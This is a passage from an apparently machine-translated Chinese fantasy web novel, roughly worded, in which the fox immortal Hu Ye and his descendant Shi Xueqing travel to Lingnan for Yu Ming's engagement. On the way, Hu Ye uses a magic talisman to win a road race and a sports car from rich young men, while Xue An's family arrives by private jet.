    Shi Xueqing nodded blankly, "Um... there are more than one hundred dollars."


    "enough!"


    "What is enough?"


    "Enough to eat!"


    "You... aren''t you a fairy?"


    "Nonsense, don''t the gods need to eat?"


    "But so many dead bodies..." Shi Xueqing said with difficulty looking at the corpses in the courtyard.


    Fox Ye raised his hand, and a wisp of white flame flew over, and these corpses all turned into fly ash and disappeared.


    "Tsk tusk, the karma given by this fellow Xue An is really good. It''s really a necessary medicine for home travel to kill people and destroy corpses!" Hu Ye tusk exclaimed a few words.


    "Well, go down the mountain with Patriarch!"


    There is a small town shop under Fanjing Mountain.


    On weekdays, Xueqing often comes here to buy daily necessities.


    Because it is adjacent to tourist attractions, this small town shop is also becoming more prosperous.


    Fox Ye walked on the street and couldn''t help but exclaimed: "I haven''t seen it in a thousand years. Has the original wilderness village become so prosperous? Yo, this girl is pretty good!"


    Fox Ye looked at a young lady who was wearing hot pants and showing her long legs, her eyes beaming.


    Shi Xueqing followed behind, and a few black lines appeared on his forehead.


    Is this really his ancestor?


    How can you be like an old hooligan who is disrespectful?


    "Unexpectedly, after a thousand years of circumstances, this world has become like this? A pretty girl with bare shoulders and legs, it''s really declining in the world, which makes people happy!"


    Hu Ye sighed to the sky a few times, causing the pedestrians around him to think he was mentally ill, and all of them stayed away.


    The Fox Night has now changed into the appearance of an ordinary man in the world, otherwise if he travels with his original appearance, it is estimated that it will cause a sensation.


    "Master Pa... what are you going to eat?"


    "I remember the last time I came, the abalone, lobster and hairy crabs made by the host of Lingying Palace at that time were delicious. This time I will just have some of these." Hu Ye said lightly.


    Shi Xueqing was silent for a moment, then whispered, "Master Patriarch, are you fighting against it?"


    "Huh? What do you mean?"


    "If you resist beating, we''ll eat it! If you can''t pay, I''m a girl and I won''t be beaten, but you probably have to suffer a little bit of flesh and blood!"


    "Cough cough, I suddenly felt that the seafood I ate at the beginning was just like that, and I still pierced my mouth! Let''s eat something that is easy to digest!" Hu Ye said with a light cough.


    This is a beef noodle restaurant in a small town. Because it tastes good and the price is low, Shi Xueqing will often come to eat when going down the mountain to buy things, and she is very familiar with the proprietress.


    At this moment, Shi Xueqing stared blankly at Fox Ye who was eating beef noodles, always feeling a little bit overwhelmed.


    "Huh, it''s really delicious! Boss, let''s have another bowl!" Hu Ye piled the empty bowl aside.


    And there was already a large stack of empty bowls on the table.


    This also attracted many surprised eyes.


    The lady boss came over with a bowl of beef noodles, and when it was placed on the table, she winked at Shi Xueqing.


    "What? Your boyfriend?"


    Shi Xueqing hurriedly shook her head, "No, it''s not!"


    "The young man looks good, although he has a lot of appetite, he can do it if he can!" The lady boss said with a smile, and turned and left.


    Shi Xueqing''s embarrassed face was a little feverish.


    But Hu Ye smiled, eating noodles in his mouth, and said vaguely: "Don''t listen to her nonsense, I''m your ancestor."


    Shi Xueqing nodded, just about to speak, but was speechless by Fox Ye''s next sentence.


    "Besides, I don''t like you either!"


    "..."


    "Master Patriarch, you suddenly came into this world, what''s the matter?" Shi Xueqing deliberated for a long time before asking this question.


    She really didn''t expect that the fox fairy enshrined in Lingying Palace for generations would be a man, and suddenly came down.


    When I burned incense, I also looked forward to the appearance of the ancestor.


    But wait for it to show up.


    Shi Xueqing hesitated again.


    Hu Ye picked up the bowl and drank all the noodle soup, then wiped his mouth, and the whole person became gentle again.


    "You think I want to come, but the human world is the foundation of all realms. There will be big changes here, and I have to come too!"


    "Big... big change?" Shi Xueqing said hesitantly.


    "Oh, you don''t understand what I told you! Check out!" Hu Ye said, standing up and carrying his hands and leaving leisurely.


    In the end, Hu Ye ate 18 bowls of beef noodles. Although the proprietress wiped out some of it, Shi Xueqing still went bankrupt.


    Seeing Fox Ye, who was shaking his head and shaking his head in front and looking at Miss Sister with bright eyes, Shi Xueqing muttered in her heart.


    Could he be a liar?


    "What are you thinking about! Your ancestor, I am a dignified fox immortal. I am a great figure in the heavens and all realms! How can I be a liar? Come and check out, I want to eat popsicles!"


    The voice of Fox Ye rang directly in Shi Xueqing''s mind, and then took a popsicle from the side of the road and Shi Shiran left.


    Shi Xueqing stepped forward helplessly to settle the bill, "How much?"


    "Ten yuan!"


    "Why is it so expensive?" Shi Xueqing exclaimed.


    "Girl, your boyfriend took the most expensive one! And I just ate one of them!" The lady boss was a little dissatisfied.


    In the end, Shi Xueqing digs out all the pockets of her body to make up ten dollars.


    After giving it to the popsicle seller, Shi Xueqing thought bitterly, she was penniless now.


    The real-time Xueqing didn''t need to be so miserable.


    But after the Hidden World Fairy Gate Conference, Shi Xueqing stayed in Yu''s house for a while before returning to Lingying Palace.


    Because of Xue An��s shocking battle at the Fairy Gate Conference, Shi Xueqing was awakened, and he was no longer eager to win. In addition, the descendant of the Night Demon Palace who was not right with him died, so Shi Xueqing stayed all day Practicing quietly in Lingying Palace.


    But I didn''t expect that the more you practice, the more backward your cultivation will be.


    Shi Xueqing was unwilling to go down the mountain, and finally ended up so embarrassed.


    Back to Lingying Palace, when Xueqing found that Fox Ye had already fallen asleep on the bed in her room.


    In desperation, she had no choice but to take a nap against the entrance of the hall.


    When he was about to fall asleep in a daze, the phone rang suddenly, and Shi Xueqing woke up.


    When I took out my cell phone and took a look, Yu Ran actually called.


    When they were in Lingnan, she and Yu Ran were getting along pretty well.


    "Hey, Ran, what''s the matter?"


    "Sister Xueqing, my brother is engaged! It will be his engagement banquet in two days, come here!" Yu Ran said with a grin.


    Yu Ming is getting engaged?


    Shi Xueqing was taken aback for a moment, and then said with a smile: "Congratulations, congratulations, I don''t know which girl is so lucky!"


    "It''s Yuan Yunxin from the Yuan Family in the Northwest!"


    "Yuan Yunxin? That talented woman who never came out of this world? It''s a match made in heaven! Congratulations!"


    "Sister Xueqing, come here quickly, Lingnan has been lively these days, and I miss you so much!" Yu Ran said.


    Shi Xueqing hesitated.


    At this moment, Fox Ye, who was supposed to be asleep, didn''t know when he appeared behind Shi Xueqing, "Engagement banquet? Don''t eat white or eat! Hurry up!"

 Chapter 542： Girls, come out to pick up the guests, bah, greet...

    "Huh, who is talking?" Yu Ran asked suspiciously.


    Shi Xueqing felt a fever on her cheek, "Ah, it''s okay, you may have heard it wrong! I will leave tomorrow!"


    "Hmm! Waiting for you, Sister Xueqing!"


    When I hung up, Hu Ye was full of excitement.


    "Go, hurry up! It''s been a long time since I attended a secular wedding, it''s probably going to be very lively!"


    "How to go?" Shi Xueqing sat still.


    "Hey, didn''t there have been carriages thousands of years ago? And when I was on the road just now, I also saw a lot of tin carts. Can''t you take a car?"


    "What about the money?" Shi Xueqing stretched out his hand and asked helplessly, "Who can let us ride in the car without money?"


    "Ah, the stars are good tonight!"


    "Master Patriarch, don''t change the subject. You have such a supernatural power, just change some money to let the little girl use it first?"


    Hu Ye smiled bitterly, "What do you know! My clone came down by deceiving this world''s law with a secret technique. You can''t use too much cultivation power, otherwise if it is discovered by the heavens, wouldn''t it be a waste of all previous efforts? ?"


    Shi Xueqing had an expression of disbelief, "Then you can kill someone?"


    "It''s not the same as killing people, those guys should have died! And I am a good-natured fox fairy. I never steal things!"


    "That''s not okay, that''s not okay, now I''m penniless. Besides, can I not give gifts when I go to someone''s engagement party? What should I give it? Or let''s just wait to starve to death!" Shi Xueqing murmured helplessly.


    However, Hu Ye looked at this huge Lingying Palace, thoughtfully.


    "Or...sell this! I guess it will sell for a good price!"


    Shi Xueqing: "..."


    At this moment in Beijiang, Xue An also received a call.


    Yu Ming personally called.


    "Sir, I am going to get engaged in three days. If it is convenient for you, can you please come and participate?" Yu Ming said sincerely.


    "Oh? Congratulations, who is the woman?"


    "Mr. should also recognize Yuan Yunxin from the Yuan family!"


    Xue An was taken aback for a moment, and then smiled, "Yes, although the girl''s cultivation is not very good, she has good knowledge!"


    Hearing what Xue An said, Yu Ming let go of his heart.


    The reason why he called was to invite Xue An to his engagement banquet, but the most important thing was to see what Xue An''s attitude was.


    After all, the original Yuan family had offended Xue An. Although Xue An destroyed half of the Yuan family as a warning, it didn''t seem very good.


    But listening to Xue An''s current tone, it seemed that he didn''t mind.


    "Can you come, sir?"


    Xue An also understood what Yu Ming meant, so he smiled and said, "Well, it happened that there was nothing wrong during this time, so I took my family to join in the fun."


    Yu Ming was overjoyed and thanked him again and again, "Thank you sir, shall I send someone to pick you up and your wife now?"


    "No, we can just go there by ourselves."


    When he hung up, Yu Ming let out a sigh of relief, feeling cold sweat on his forehead.


    Yuan Yunxin sat across the table, looking at him distressedly.


    "He... what did he say?"


    Yu Ming said excitedly: "Mr. said, he will personally attend the engagement banquet for the two of us! It can be seen that Mr. has already paid no attention to what happened before!"


    Yuan Yun gave a low hmm.


    Yuan Yunxin''s mood at this moment is very complicated.


    When Xue An cut half of the Yuan family with one sword, Yuan Yunxin''s father and brother died in his hands.


    It stands to reason that Yuan Yunxin would hate Xue An extremely.


    But Yuan Yunxin found that he didn''t even have the qualification to hate.


    Not to mention that all the original reasons were caused by the Yuan family and the Ming family''s design and construction of Xue An and others.


    Based on the various shocking deeds that Xue An did later, Yuan Yunxin knew that he could not avenge revenge.


    After dying of revenge, Yuan Yunxin simply split up the Yuan family in the northwest, which was once Xuanhe.


    Anyway, those uncles and uncles would not be convinced by a little girl like themselves, so it''s better to separate.


    Yuan Yunxin then delved into the feng shui technique all day long.


    Until later, I met Yu Ming by chance.


    Maybe it was God''s will.


    Yu Ming, who believed that he would serve kendo all his life, was shocked after seeing Yuan Yunxin, and then launched a powerful offensive, and successfully took Yuan Yunxin down.


    But Yuan Yunxin always worried that the combination of himself and Yu Ming would arouse Xue An''s jealousy or dissatisfaction.


    Until today, when Yu Ming personally called Xue An in front of her, Yuan Yunxin was slightly relieved.


    Yu Ming saw Yuan Yunxin''s worries and couldn''t help stepping forward and gently hugging her shoulders.


    "Okay, don''t think about it anymore! Actually speaking of hatred, didn''t our Yu family ancestor be defeated by his husband?"


    "I was not convinced back then, and wanted to get back with revenge!"


    "But now I don''t think so much!"


    "At the beginning, the gentleman used the sword to defeat the ancestor upright. This is the greatest respect for the ancestor!"


    "My father once said that Mr. is the real Nine Heavens Dragon, as long as you don''t provoke him, he will never target you! Maybe in Mr.''s eyes, I will all be ants!"


    Yu Ming''s sigh made Yuan Yunxin tremble all over, and then gently leaned his head against Yu Ming''s shoulder and gave a low hmm.


    "Sir, I don''t think you need to buy a plane ticket! Did you forget that when you got married, didn''t you buy a few private jets?" Qin Yu reminded.


    Xue An, who wanted to book a plane ticket to Lingnan, suddenly realized.


    "Yes! I really forgot! Where are these private jets now?"


    "It''s parked in the airport specially built for you!"


    When Xue An led the family to this airport rebuilt from an abandoned factory building of the Qin Group.


    The flight attendants who were randomly delivered were lazily watching TV in the staff dormitory.


    Not to mention, after watching TV for more than half a year, this group of foreign girls talked in Mandarin.


    "Oh my god, if it weren''t for the huge salary every month, my old lady would have stopped doing it!" a blond flight attendant lamented.


    Her words resonated with many flight attendants,


    "Yes, I don''t know if our boss has forgotten our deposit? He actually left us here for half a year?"


    "The key is to get a salary while resting! What a tyrant our boss should be!"


    "And he looks handsome!" Someone added The stewardess all fell silent, and then all sighed.


    "What about being handsome and gold? We can''t even see them in person!"


    "Hehe, I don''t believe there are cats that don''t steal fishy. Although the boss has married a wife who looks like an immortal, we can''t give up not!" A stewardess who was wearing makeup in front of a mirror said without turning her head.


    At this moment, I heard a mess of footsteps outside, and then the female administrator responsible for guarding the staff dormitory rushed in.


    "Girls, your boss is coming! Hurry up and get ready to pick up guests... Bah, get ready to meet you!"


    These flight attendants were startled first, and then all their eyes lit up.


    One of the flight attendants didn''t forget to spit, "Mom, you retired from the seat of Mama Sang!"


    The female administrator smiled awkwardly, "I''m sorry, professional habit, it''s easy to say!"

 Chapter 543： Stingy Fox Night

    There was a flutter in the staff dormitory.


    After a while, these flight attendants all went downstairs with great spirits, standing in a standard team ready to welcome Xue An''s arrival.


    I have to say that the quality of these foreign girl flight attendants is really good!


    Especially when wearing a brand new flight attendant uniform with a decent smile on her face.


    No need to speak, just standing there is extra seductive.


    But when Xue An led the family to the airport and saw this scene, he couldn''t help frowning slightly.


    "What is this for?"


    Qin Yu hurriedly said, "Sir, these are all the stewardess who was given at random at the beginning, and have been waiting for your arrival!"


    These flight attendants also saw Xue An, and realized that their boss seemed more handsome. They couldn''t help feeling hot, and they all bowed their heads, "Boss!"


    Xue An was a little bit dumbfounded, "Let them all go away! It''s just a trip to Lingnan, why bother to make such a big battle."


    The faces of these flight attendants were disappointed.


    It''s so easy to get in touch with the boss once on a mission, but I didn''t expect this to happen.


    At this time, An Yan suddenly said, "Since they are all ready, let them go with them!"


    Xue An glanced at An Yan, only to see her smile, and then whispered in Xue An''s ear.


    "These flight attendants are paid every month, so they have to do some work!"


    The small and careful look is almost like a landlord''s wife.


    Xue An laughed blankly, "Okay, let''s follow along!"


    All the flight attendants were excited about it, and served Xue An''s family on the plane, and then took off for Lingnan.


    At the same time, Shi Xueqing drove a broken eighteen-handed Xiali that couldn''t be broken, and drove on the highway in fear.


    Because the condition of this car is really bad.


    Shi Xueqing''s feet almost stepped into the engine, and the top speed was only sixty steps.


    At the same time, there is still a large gap in the steering wheel, so Shi Xueqing has to constantly swing the steering wheel to correct the direction when driving.


    It was such a car, which was bought by Shi Xueqing in the second-hand car market under the leadership of Hu Ye.


    At this moment, Shi Xueqing was frantically complaining about her stingy Patriarch, her eyes still afraid to leave the front, because in such a car, one inadvertently might fall apart completely.


    Hu Ye lay comfortably on the flat co-pilot seat, sighing.


    "Unexpectedly, it hasn''t been seen in a thousand years, Human Race actually developed such a novel tool. It can run without using seals or spirit stones. It is really fun and practical."


    Talking about Huye, she started to press the buttons on the center console with a curious look.


    Because this Xiali cannot grow old anymore, most of the buttons are broken, and only the radio can be used, but Qiaohuye pressed it on.


    There is an advertising hoarse.


    "Are you still worrying about an unexpected pregnancy... Now the director of the Big Iron Rod Hospital will perform the operation for you personally to solve all your worries."


    Fox Ye listened with relish, but Shi Xueqing was embarrassed.


    "Master Patriarch, can you change the channel and listen to something else? The little girl hasn''t married yet!"


    Huye nodded, "Also!"


    Then changed a station.


    "What should I do if I have prostatitis? What should I do if I have frequent urination and urgency and wait? Don''t worry, our hospital specially introduces the NMLGB treatment device from M country to solve all your problems at once."


    The atmosphere became awkward.


    Hu Ye raised his head in confusion, "What is the prostate?"


    Shi Xueqing trembled all over and almost drove the car into the ditch.


    "I don''t know!" Shi Xueqing blushed when she said this.


    Huye nodded, "Oh! I understand!"


    "Understand what?"


    "You are blushing, it''s definitely not a good thing!"


    "..."


    Fanjing Mountain is more than a thousand kilometers away from Lingnan. If you drive this little Xiali, it will take at least a day to get there.


    Although Shi Xueqing''s cultivation base regressed, he still had the foundation, so he didn''t feel tired after driving all morning.


    I just had to stop and rest after I got to the service area.


    Because Xiali started to smoke in front of him.


    In the service area at this moment, a fleet of several luxury cars is also resting here.


    Those who drove were rich second-generation wealthy families.


    When they saw the clinking Xiali with white smoke from the front cover, these rich second-generation generations were startled at first, and then burst into laughter.


    "I wiped it, this kind of car can actually drive? Can it go on high speed?"


    As he was talking, Xiali stopped and Shi Xueqing and Huye got out of the car.


    After seeing Shi Xueqing, these young people were all stupid.


    But Shi Xueqing obviously didn''t have time to pay attention to these people. She opened the front cover to let the water tank cool down as soon as possible.


    Then one person and one fox squatted under the root of the wall not far away, watching quietly.


    "Hey, this girl is not bad! The beauty is almost bubbling!"


    "Yes! Such a pretty girl actually drives such a broken car, it''s a violent thing."


    These people''s comments naturally reached Shi Xueqing and Huye''s ears.


    "Disciple, it looks like these guys like you very much! Also, my disciples are so beautiful, it is inevitable that there will be men tempted." Hu Ye said with a smile.


    Shi Xueqing didn''t even lift her head, "Master Patriarch!"


    These three words are accented.


    Hu Ye smiled, "Fool, don''t you find that your charm is much stronger now than before?"


    Shi Xueqing was shocked and turned to look at Hu Ye.


    Fox Ye shrugged, "I have come here, then you, as my disciple, will be affected by me even your practice, and your charm will naturally increase!"


    At this time, one of these rich second generations had the bolder one to get in.


    "This lady, it''s nice to meet you!"


    "Really? But I''m not happy!" Shi Xueqing said coldly.


    What is a word to death?


    This is it!


    The man was a little embarrassed, but the closer he got, the more he found that the girl was beautiful and good.


    The natural charm of every move made him dazzled.


    In his opinion, compared with Shi Xueqing, all the women he knew before became vulgar fans.


    So he is not willing to give up girl, where are you going? Is the car broken? Why don''t I send you? Besides, it is not safe to sit in this broken car! The person who bought this car for you to drive is also a stupid*, how can you let a weak girl like you drive this... "


    I didn''t finish the rest, because Hu Ye stood up and said with a smile: "Who are you silly?"


    "Huh?" The man was slightly startled, and then he looked at Fox Ye.


    At this time, Fox Night did not show his true appearance, and was still dressed up as an ordinary man who was scornful.


    So after a few glances, he snorted disdainfully, "When did I scold you? Besides, if I scolded, what can I do?"


    Following his voice, all his friends gathered around, staring at Fox Ye with enthusiasm.


    "Boy, are you looking for trouble?"


    "Yes, I want to find something to talk about!"

 Chapter 544： 1 Only one steering wheel is left for braking

    Hu Ye smiled slightly, "I''m not looking for anything! I''m just telling you that my car is not a bad car!"


    With that said, Huye patted Xiali''s front cover very lovingly.


    "I paid 500 yuan for this, which is the price of 60 bowls of beef noodles! Who dares to say it is rubbish?"


    These rich two generations looked at each other and then burst into laughter.


    "Oh my god, is this person''s brain sick?"


    "Girl, let''s go in brother''s car, this guy is designated to be sick!"


    "Yes, my buddy drove the latest McLaren, a screw is worth more than this broken car!"


    Amidst these ridicules, Shi Xueqing looked at Fox Ye with some worry, for fear that his grand master would be annoyed, and then kill all these guys.


    But Hu Ye smiled all the way, and then said lightly: "Since you keep saying that this is a bad car, are you interested in it?"


    "Compared? How to compare? See who runs slowly?" These rich second-generation generations let out a chuckle.


    Hu Ye shook his head, "It''s natural to see who runs fast! See who goes to the next service area first. If I lose, then I will let her go with you!"


    Hu Ye pointed to Shi Xueqing.


    The rich second generations are all lit up.


    Shi Xueqing paled, "Zu..."


    When Hu Ye rushed, Xueqing squeezed her eyes and motioned to her not to speak.


    Shi Xueqing had no choice but to close her mouth, thinking a little bit resentfully in her heart.


    Is this Patriarch specially here to cheat me?


    "Can you take this seriously?" a man asked.


    "Naturally take it seriously!"


    "That''s good! Girl, wait for my brothers to take you to be cool!" These rich second generations laughed arrogantly.


    But Hu Ye said lightly: "Then what if you lose?"


    "Joke, how could we lose? Tell you, even if we let you run for a minute, it will prevent you from seeing the rear lights!"


    Hu Ye smiled slightly, "Just tell me, what should I do if I lose?"


    The men looked at each other, and then pointed to their car, "See you, if we lose, this car will be given to you for nothing!"


    "A word is for sure!" Hu Ye nodded immediately, as if afraid that they would repent.


    The bet is over.


    The rich second-generation gang went back to drive their own car.


    Shi Xueqing hurriedly walked over, "Master Grandpa, you are crazy! Those cars are all sports cars. We can''t catch up with Xiali if we fly! Do you want to send me out?"


    Hu Ye smiled, "My disciple is so cute! How can I be willing to send it out? Others can''t catch up because they have no abilities, but who am I? I''m the majestic Hu Ye! Get in the car, this time I''m driving!"


    Shi Xueqing got on the car helplessly.


    When Hu Ye turned around, he wrote a talisman seal on the front cover of Xiali''s machine.


    Baili magical rune.


    A kind of seal used to drive the road.


    It''s just that Fox Night is a self-made one and can be blessed on a Xiali car.


    At this time, those rich second-generation cars slowly approached in luxury cars.


    "Boy, don''t say we bully you. Let you run for ten seconds. How about we chase afterwards?"


    "Okay!" Hu Ye said with a smile.


    Then start the vehicle, according to the driving skills just learned from Shi Xueqing, skillfully put up the gear, release the clutch and step on the accelerator.


    boom!


    The Xiali car rushed forward and then turned off.


    The scene was very embarrassing.


    Those rich second generations looked at them dumbfounded, and one of them couldn''t help but said: "Dude, are you making fun?"


    "You guessed it!" Hu Ye smiled, without any hint of blushing, and drove the car again, raising his chin at these people.


    "I go first!"


    boom!


    This time the Xiali successfully jumped out.


    But after all, it is an old car that cannot be old anymore. Even if the accelerator is stepped on to the end, it still moves forward slowly like an old cow.


    These rich second generations laughed.


    "At this speed, I can''t lose if I close my eyes and sleep and chase after it!"


    But at this moment, a smile appeared at the corner of Hu Ye''s mouth, and the light in his eyes flashed, and the Baili Magic Run Talisman was activated.


    Seeing this little Xiali roared, the speed suddenly increased by more than ten times, and it rushed out like an arrow from the string.


    In the blink of an eye, it disappeared from everyone''s sight.


    "Wocao, I''m not mistaken, am I? Is that Xiali? He''s just caught up with the Rockets!"


    "Hurry up!"


    This group of guys woke up like a dream, and hurriedly stepped on the accelerator to chase after.


    But the speed of Xiali under the blessing of the magic talisman is getting faster and faster, where they can catch up.


    This group of rich second generations can only look desperately at the distance getting further and further away.


    Hu Ye laughed loudly, "A bunch of idiots, fight with me? I''m still conscientious. If it''s that guy, I guess you will lose even your pants!"


    Shi Xueqing was frightened and dragged on the handrail, her face turned pale.


    "Master Zu Master, look ahead! There is a car!"


    "Don''t worry, your ancestor, I even drove the Xingzhou before, let alone this thing."


    After speaking, he shuttled in the traffic with ease.


    Today''s highway is very lively.


    Because a Xiali is running at an unbelievable speed.


    A dozen sports cars followed closely, but they couldn''t get it.


    Everyone who saw this scene thought they were dazzled.


    Soon, the next service area will arrive.


    Hu Ye said lightly: "Sit down! It''s time to perform real skills!"


    Shi Xueqing was so scared that she closed her eyes immediately.


    Hu Ye went straight to the service area without slowing down, all the sports cars behind were shocked.


    "Is this guy going to kill him?"


    Then Huye taught these guys a lesson.


    I saw Hu Ye suddenly slamming the direction, and at the same time pulling on the handbrake, his left foot quickly lifted, the vehicle was out of control.


    Then Houhuye controlled this Xiali with his own cultivation base and began to drift wildly.


    Shi Xueqing screamed in fright, "Master Grandpa, why are you doing this?"


    "Small, what can your ancestor master do?" Hu Ye said with a grin.


    These rich second generations stopped the car and got out of the car one after another, staring at this scene dumbfounded.


    The pungent smoke from the friction of inferior tires quickly enveloped this service area But at this moment, after drifting for a few laps at a jaw-dropping speed, this little Xiali suddenly made a loud noise. Heavy moaning.


    Shi Xueqing felt the whole car tremble violently and screamed.


    "Master, stop quickly."


    Huye also noticed that the play was off, and hurriedly stepped on the brakes.


    Shattered!


    After a sour metal rubbing sound.


    Shi Xueqing felt that the wind was so noisy.


    Looking up, it turned out that the roof was gone.


    Not only the roof, but also the engine and rear wheels, all flew out because of the strong inertia.


    All that was left was the chair he was sitting on, and... the steering wheel that Fox Ye held in his hands.

 Chapter 545： Skilful deception

    The atmosphere became very strange for a while.


    The rich second-generation gang watched dumbfounded.


    Hu Ye sighed softly, threw away the steering wheel in his hand, clapped his hands, and got out of the car in a graceful manner.


    "Are you convinced now?"


    The rich second-generation gang glanced at each other and nodded eagerly.


    "Master, you... how did you modify your car? How did you make a Xiali so fast?" One of the men swallowed and asked respectfully.


    "Modification?" Hu Ye had a pitiful expression on his face, "It seems you are still stupid! Do you know the highest state of driving?"


    Everyone shook their heads.


    Hu Ye smiled unpredictably, "I will tell you today! That is the unity of man and vehicle!"


    "Only when people and vehicles are integrated can we tap every drop of the car''s potential and be invincible! As for modifications and the like, they are all trails, not worth mentioning!"


    This is obviously nonsense, but the expressions of these rich second generations are all awed, and they all nodded and said yes.


    Shi Xueqing stared at Fox Ye''s back in a daze.


    My own grandpa... shouldn''t he be a liar?


    Obviously this is not the first time seeing this skilful deception!


    Hu Ye turned around and glared at Shi Xueqing, and then continued to maintain the appearance of a master.


    "Then your car..."


    "I wish to bet and lose, since the master has won us, this car is naturally yours!"


    "Very good! Very good! Ahem, it''s just that I was in a hurry when I went out today and forgot to bring money. Look at this..."


    These rich second generations hurriedly took out their wallets, took out all the cash, and handed them to Fox Ye.


    "Master, we didn''t carry too much with us. This is probably more than 20,000 yuan! If it is not enough, we will withdraw money for you again!"


    "No need! These are enough!" Hu Ye accepted the money with a calm expression.


    Then they talked about a big mess of big things, and the bluffing group was stunned.


    At the end, the guy who struck up with Shi Xueqing said apologetically: "Girl, I really don''t know you are the master''s girlfriend, I''m so sorry!"


    Shi Xueqing was speechless for a while, and could only helplessly watch the rich second-generation gang wave goodbye to Fox Ye reluctantly.


    After the car was no longer visible, Huye smiled slightly, "Stupid*!"


    Then turned around and rushed to Shi Xueqing and said triumphantly: "Good apprentice, get the money and go!"


    When Huye drove a brand new sports car to continue to Lingnan.


    The private jet landed slowly on Lingnan Airport.


    Everyone in the Yu family had already heard the news, and they all rushed to greet them.


    When Xue An appeared on the gangway.


    Yuan Yun, who had been standing next to Yu Ming, couldn''t help but trembled.


    After feeling the anxiety in Yuan Yun''s heart, Yu Ming gently took her hand and smiled at her.


    "Don''t be afraid!"


    Yuan Yunxin took a deep breath and tried to calm himself down.


    At this time, Yu Ming''s father, Yu Lang, who was already in a semi-retired state, hurriedly greeted him.


    "Mr!"


    Xue An nodded slightly.


    Yu Ming also took Yuan Yunxin''s hand and walked forward.


    "Mr. Met!"


    Xue An glanced at Yuan Yunxin, who had been bowing his head, and smiled slightly.


    "Miss Yuan, congratulations!"


    Yuan Yun was startled, and then quickly raised his head, "Thank you, Mr.!"


    And An Yan also came over at this time, "Husband, is this the genius girl you mentioned?"


    Xue An nodded, "Yes! You can achieve something in the formation by self-study alone, it is indeed a genius!"


    An Yan couldn''t help but looked at Yuan Yunxin curiously.


    Seeing this girl''s delicate appearance, wearing a pair of thick eyes, she looked very bookish, she couldn''t help but smile.


    Yuan Yunxin saw such a beautiful and dazzling woman smiling at herself, knowing that this should be the legendary Mrs. Xue, and her heart suddenly relaxed.


    "Ms. Met!"


    Yu Lang winked at his son when he saw this, and the two people''s hearts had been hanging down completely.


    You must know that Yu Lang was firmly opposed to such a marriage.


    It was because she was afraid to offend Xue An.


    But Yu Ming''s emotional attachment is as indestructible as his kendo.


    Yu Lang couldn''t stop it either.


    Finally had no choice but to acquiesce.


    It''s just that Yu Lang still feels uneasy, until now, seeing that even Madam Xue has no prejudice against Yuan Yunxin, this is completely relieved.


    Although the ancestor of the Yu family is dead, but because of Yu Ming''s leaps and bounds in the kendo, he already has the reputation of being a small sword fairy, so the Yu family is now more prosperous in Lingnan.


    The engagement of Yu Ming this time made the entire Lingnan commotion.


    Xue An looked at the colorful lights outside the car window, and knew in his heart that this is not because the Yu family is telling the world through this incident. The old and new generations of sword immortals have changed hands. From then on, the Yu family will return to the peak It.


    It was night, the Yu family put on a grand banquet to entertain the Xue An family.


    The rest of the guests began to arrive one after another from the next day.


    During this period, Yu Ran kept hiding without showing up.


    The trace of affection for Xue An at the beginning has long been buried deep in my heart as time goes by.


    Because she is very clear.


    No one can replace An Yan''s position in Xue An''s mind.


    She wanted to wait for Xueqing to arrive, so she could talk about the pain in her heart.


    The fate between people is so wonderful, Yu Ran and Shi Xueqing have become friends who talk about everything.


    But why hasn''t Sister Xueqing come yet? Yu Ran felt a little anxious.


    I waited until the night before the engagement banquet, and many servants were busy in front of the door of Yu''s house.


    At this time, I heard the roar of the engine, and then saw a dazzling red sports car rushing over. When it reached the door, the sports car suddenly drifted and flicked, and then stopped firmly in the parking space.


    This beautiful car skill attracted many amazing eyes.


    Then the car door opened.


    Shi Xueqing rushed out eagerly, leaning on the wall and began to vomit.


    Hu Ye got out of the car slowly, shook his head and sighed softly, "Good disciple, you are too weak. I haven''t driven much yet, so you are motion sick!"


    Shi Xueqing raised her head weakly, "How many drive like you? Don''t hesitate to drive If I didn''t wake up early, you would have driven abroad now!"


    Hu Ye smiled awkwardly.


    The reason why they came so late was entirely because Fox Ye drove forward after seeing Lie''s joy after getting on the new car.


    And Shi Xueqing happened to fall asleep too.


    So Hu Ye drove out hundreds of kilometers in one go. If Shi Xueqing didn''t wake up in time, he might have gone abroad.


    These gatekeepers knew Shi Xueqing, and hurriedly sent someone in to deliver the letter.


    Soon, Yu Ran ran out excitedly.


    "Sister Xueqing! Why did you come so late?"


    Shi Xueqing smiled apologetically, "I''m sorry, something happened on the road and was delayed."


    At this time, Hu Ye walked over with bright eyes, and said politely: "Hello, my name is Hu Ye, I am Xueqing''s ancestor! I am glad to meet you, beautiful girl!"

 Chapter 546： Im still a child

    "Uh... Nice to meet you!" Yu Ran was a little baffled, not knowing who this man was, so she had to perfunctorily look at Shi Xueqing.


    Shi Xueqing felt dull and stomped and said bitterly: "Master Pa! This is my best friend!"


    By the way, can you make a face?


    Hu Ye was a little disapproving, "Since I am a friend of my disciple, then I am a half disciple. The girl is young this year? How about I show you palmistry!"


    Yu Ran took a step back subconsciously, "No...no more!"


    Shi Xueqing grabbed Yu Ran, "Don''t pay attention to him, let''s go!"


    When the two girls walked through the gate, Hu Ye stood there looking at Yu Ran''s back, and said lightly: "I can''t ask for it, or even dare not expect it? What kind of character can make you like a lady of the sky like this? Humble?"


    Fox Ye is best at prying people''s hearts, so you can see the sadness and sorrow that lingers in Yu Ran''s brows at a glance.


    It''s nothing more, it''s normal for a girl to be pregnant! Fox night thought, and walked into Yu''s house with a smile.


    at the same time.


    Xue An, who was playing games with An Yan in the guest room, suddenly raised his eyebrows and turned to look out the window.


    "What''s wrong, husband?"


    "Oh, nothing!" Xue An smiled and turned around to continue playing the game.


    Maybe I feel wrong!


    After all... how could that old fox appear here?


    "Sister Xueqing, have you eaten yet?" Yu Ran asked.


    When Shi Xueqing just wanted to talk, Hu Ye didn''t know when he had already come over.


    "To be honest, my master and apprentice have not eaten since last night, but I wonder if there is anything delicious in your house?"


    Yu Ran already understood at this time that this seemingly arrogant guy turned out to be Shi Xueqing''s ancestor.


    Since he has this level of identity, Yu Ran naturally respects it and smiles slightly.


    "Of course, please come with me!"


    After all, turn around and lead the way.


    Shi Xueqing took the opportunity to lower her voice and said to Fox Ye: "Master Grandpa, can you be more reserved? We are here as a guest, so you can''t let anyone look down upon it!"


    Hu Yeyun nodded lightly, "Tui''er said it is reasonable! I remember it! Let''s take mine!"


    Because the Yu family invited a lot of guests this time, the back kitchen does not turn off the fire 24 hours a day, and a whole building is also freed up as a restaurant.


    When Yu Ran led Hu Ye Shi Xueqing into the restaurant, the person in charge here hurriedly greeted him.


    "Miss!"


